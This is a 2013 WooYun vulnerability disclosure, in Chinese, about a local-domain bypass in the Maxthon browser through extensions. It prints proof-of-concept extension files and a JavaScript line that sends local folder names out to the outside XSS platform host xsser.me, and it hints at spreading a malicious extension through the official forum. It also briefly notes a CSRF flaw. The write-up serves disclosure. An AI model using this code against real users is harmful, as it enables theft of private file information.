当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-022263

漏洞标题：傲游浏览器本地域突破（浏览器插件风险）

相关厂商：傲游

漏洞作者： 杀戮

提交时间：2013-04-22 01:13

修复时间：2013-07-21 01:13

公开时间：2013-07-21 01:13

漏洞类型：非授权访问/认证绕过

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-04-22： 细节已通知厂商并且等待厂商处理中
2013-04-22： 厂商已经确认，细节仅向厂商公开
2013-04-25： 细节向第三方安全合作伙伴开放
2013-06-16： 细节向核心白帽子及相关领域专家公开
2013-06-26： 细节向普通白帽子公开
2013-07-06： 细节向实习白帽子公开
2013-07-21： 细节向公众公开

简要描述：

就是要带感~~~~
我觉得。。。。好想吐。。。。。忙了快一天了，早上测试，中午午睡后进行利用程序的编写和调试，晚上整改完才发上来。。。

详细说明：

傲游浏览器为了扩展自身的功能允许用户开发与下载插件，而插件存在对域的访问存在安全问题。 基础去读

http://www.80vul.com/webzine_0x05/走向本地的邪恶之路


遨游浏览器使用了双内核 Webkit 和 Trident。
我们来看下 Webkit对本地域的限制，为了安全，浏览器会禁止js对本地域的访问。如下图:

360软件小助手截图20130421191903.jpg


限制了对文章的加载，但是我们通过插件再看看，点开一个插件，然后右键查看元素，然后会在插件中弹出调试器。Enter:

location.href="file:////c:/";


360软件小助手截图20130421192141.jpg


你个悲剧。。。。
让我们来看下如何利用，先来看下Webkit和Trident对浏览器上查看本地文件的方式。
打开IE，输入file:////c:/ 会弹出一个文件查看器

360软件小助手截图20130421192615.jpg


然后打开chrome 输入file:////c:/

360软件小助手截图20130421192953.jpg


看出差别了不，chrome是以网页的方式呈现本地文件的，也就是说，可以通过DOM对本地进行操作，联想下刚刚的，淫荡的笑一下，我们只要通过一个恶意插件就可以完成对本地信息的获取。
现在看看我们需要怎样编写利用程序:
1.客户端 在傲游上面可以运行的插件
2.服务端 接受获取到的信息
服务端比较容易，用XSS平台就可以解决，但是客户端，虽然里头是chrome但是插件的编写却完全不同，为了编写利用程序，我他日的中午一直在学习傲游插件的编写，妈的。
XSS平台卡住了，先编写傲游的插件吧。需要几个文件

主文件: def.json
执行文件:window.html
语言文件:locale/zh-cn.ini


//def.json
{
   "type":"extension",
   'frameworkVersion' : '1.0.0',
   'guid' : '{ID}',   //去　www.guidgenerator.com. 生成一个
   'version' : '1.0.0',
   'title' : {
      '_t' : 'app.title'
　　　 'en' : 'The World',
      'zh-cn' : '世界'
   },
   'actions':[   
      {
          "type":"window",
          'entryPoints' : [ 'sidebar', 'toolbar' ],
          'main':'window.html'
      }
}


//window.html
<iframe id=1 src="file:////c:/"></iframe> 
<script>XSSER代码</script>


//  locale/zh-cn.ini
[lang]
app.title=世界


好吧，丫的XSSER瘫了，我简单说下，自己创建一个模块，加一个location参数，然后代码如下

(new Image()).src="http://xsser.me/index.php?do=api&id={projectId}&location="+document.getElementById(1).contentWindow.document.getElementsByClassName('icon-folder')[0].getAttribute('title');


XSSER是没办法看了，看下本地执行的效果吧。

360软件小助手截图20130421203831.jpg


懂了吧，自己加个循环就可以获取整个电脑的文件信息，毫无隐私啊~~~~
然后用makpak生成插件 上传到官方论坛 然后。。。。。。

漏洞证明：

上面上面
再送一个CSRF吧
傲游有一个默认安装插件哈哈.MX 点击喜欢 通过监控截获请求 没有加token 吧链接给给别人点击 可以造成CSRF

修复方案：

打个广告
http://t.qq.com/SlaughterSain

版权声明：转载请注明来源 杀戮@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：3

确认时间：2013-04-22 08:11

厂商回复：

已转交开发处理. 感谢报告.

最新状态：

暂无

漏洞评价：

评论

  1. 2013-05-02 14:37 | p.z 认证白帽子 ( 普通白帽子 | Rank:411 漏洞数:40 )

    3rank....不合适吧

  2. 2013-05-04 12:34 | 杀戮 ( 普通白帽子 | Rank:141 漏洞数:19 | 我，是来打酱油的。)

    @p.z 这证明了地主阶级对无产阶级的压迫

  3. 2013-09-12 22:08 | 肉肉 认证白帽子 ( 普通白帽子 | Rank:112 漏洞数:10 | 肉肉在长亭科技，肉肉在长亭科技，肉肉在长...)

    才3rank简直太不合适了